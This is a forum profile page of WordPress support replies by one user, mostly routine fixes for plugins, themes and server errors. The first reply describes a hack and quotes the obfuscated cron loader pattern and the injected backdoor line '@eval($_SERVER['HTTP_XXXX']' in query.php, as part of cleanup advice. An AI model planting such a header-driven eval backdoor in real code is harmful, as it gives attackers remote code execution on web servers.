jeroenvip
Forum Replies Created
-
Forum: Reviews
In reply to: [Contact Form 7] Hacked three timesWe also had some issues with this. It turns out this hack was pretty nasty. It installed a cronjob under the user www-data. The cronjob runs once every minute executing the code
eval(gzinflate(base64_decode(......."
This was adding the following code in query.php at line 539
"@eval($_SERVER['HTTP_XXXX']"
To fix this remove the cronjob running under the www-data user.
sudo crontab -e -u www-data
Forum: Fixing WordPress
In reply to: Fatal Error: Memory Exhausted upgrading to WP 6.2In order to fix the error, you’ll need to increase the maximum allowed memory by reaching out to your web hosting provider. If you’re familiar with server management, you can change the memory_limit value directly from the php.ini file
Forum: Fixing WordPress
In reply to: Dashboard mobile menu not working on Safari 16.4 (18615.1.26.11.22)Further isolating the problem by changing to another default theme / deleting all themes the problem still occurs.
- This reply was modified 1 year ago by jeroenvip.
Forum: Fixing WordPress
In reply to: Dashboard mobile menu not working on Safari 16.4 (18615.1.26.11.22)Well the installed theme is Twenty Twenty-Three. Which is created by the WordPress team. Its a fresh WordPress installation with no custom themes and/or plugins.
Forum: Plugins
In reply to: [Yoast SEO] Warning: Undefined array key “SERVER_NAME”@sotiris_k You are correct. Wheb you run something inside the wordpress folder other then www-data SERVER_NAME is not set. Using nginx.
Forum: Plugins
In reply to: [Yoast SEO] Warning: Undefined array key “SERVER_NAME”What user is running the cronjob? We are also running some scripts inside wordpress not as www-data, which generates this error on the CLI.
Forum: Fixing WordPress
In reply to: Error: stream_socket_client(): SSL operation failed with code 1Hello,
We had the same problem today after installing WordPress on a fresh ubuntu server. Can you please check if you also get the message that the php-curl library needs to be installed.
After installing the php-curl library these errors where gone.
apt install php-curl -y
Forum: Plugins
In reply to: [WooCommerce] Move table column on cart pageHello mate,
Before editing read this: http://docs.woothemes.com/document/template-structure/
If you want to edit or remove things from the cart. You need to open the cart.php file. Its located in the templates folder.
With some basic knowledge of php and html you can move the elements you want
Forum: Themes and Templates
In reply to: WP 3.5 Media Uploader Code for multiple uploadersHello mate. You saved my day. This code worked for me. The line
jQuery(“input[class^=’upload-quote’]”).click(function(e) {} did the trick for me. Maybe useful for others that are looking for the same thing. Here is my code.
jQuery(document).ready(function($){ var custom_uploader; var row_id jQuery("input[class^='upload-quote']").click(function(e) { e.preventDefault(); row_id = jQuery(this).attr('id'); //If the uploader object has already been created, reopen the dialog if (custom_uploader) { custom_uploader.open(); return; } //Extend the wp.media object custom_uploader = wp.media.frames.file_frame = wp.media({ title: 'Choose Quote', button: { text: 'Choose Quote' }, multiple: false }); //When a file is selected, grab the URL and set it as the text field's value custom_uploader.on('select', function() { alert( row_id); attachment = custom_uploader.state().get('selection').first().toJSON(); jQuery('#' + row_id).val(attachment.url); }); //Open the uploader dialog custom_uploader.open(); }); });
Forum: Plugins
In reply to: [Multi Image Upload] PHP error in footer of adminHi mate,
I also encountered this error. The call_user_func_array() is calling a function that doesn’t exist any longer. Open your multi-image-upload.php and remove line 82.
/** * Initialize Multi_Image_Uploader */ public function __construct() { $this->post_types = array('post', 'page'); //limit meta box to certain post types add_action('add_meta_boxes', array($this, 'add_meta_box')); add_action('save_post', array($this, 'save')); add_action('admin_enqueue_scripts', array($this, 'enqueue_scripts')); //add_action('admin_print_footer_scripts', array($this, 'admin_print_footer_scripts')); }
That should do the trick.
Forum: Plugins
In reply to: [BuddyPress Group Tags] Cloud Tag URL's not workingDude, you are my saviour. That did the trick !
Forum: Plugins
In reply to: [BuddyPress Group Tags] Cloud Tag URL's not workingHi PauloASilva,
In what file did you change
$bp->gtags->id = 'gtags'; $bp->gtags->slug = 'tag';
into
$bp->options['gtags'] = (object)Array( 'id' => 'gtags', 'slug' => 'tag' );
and where did you add the
bp_core_new_subnav_item( array( ‘name’ => ‘ ‘, ‘slug’ => $bp->options[‘gtags’]->slug, ‘parent_slug’ => BP_GROUPS_SLUG, ‘parent_url’ => $bp->root_domain .’/’. BP_GROUPS_SLUG . ‘/’, ‘screen_function’ => ‘gtags_display_hook’, ‘position’ => -1 ) );
Forum: Plugins
In reply to: [BuddyPress Group Tags] Cloud Tag URL's not workingHello mate.
At the moment i got the same problem. The links in the BuddyPress Group Tags is working. But the page shows up as a 404, page not found.
I tried adding the “$bp->gtags = new stdClass;” in the file but did nothing for me. Perhaps we got some response from the developer.
Forum: Hacks
In reply to: Delete WordPress post from post_title perspectiveProgramming at Friday doesn’t do people any good. Thanks for the response its working.
Have a nice weekend
Forum: Hacks
In reply to: update_post_meta and SimpleXMLElement url, etcHmmm… what a good morning can do to people. Solution add
mysql_real_escape_string(); to the strings.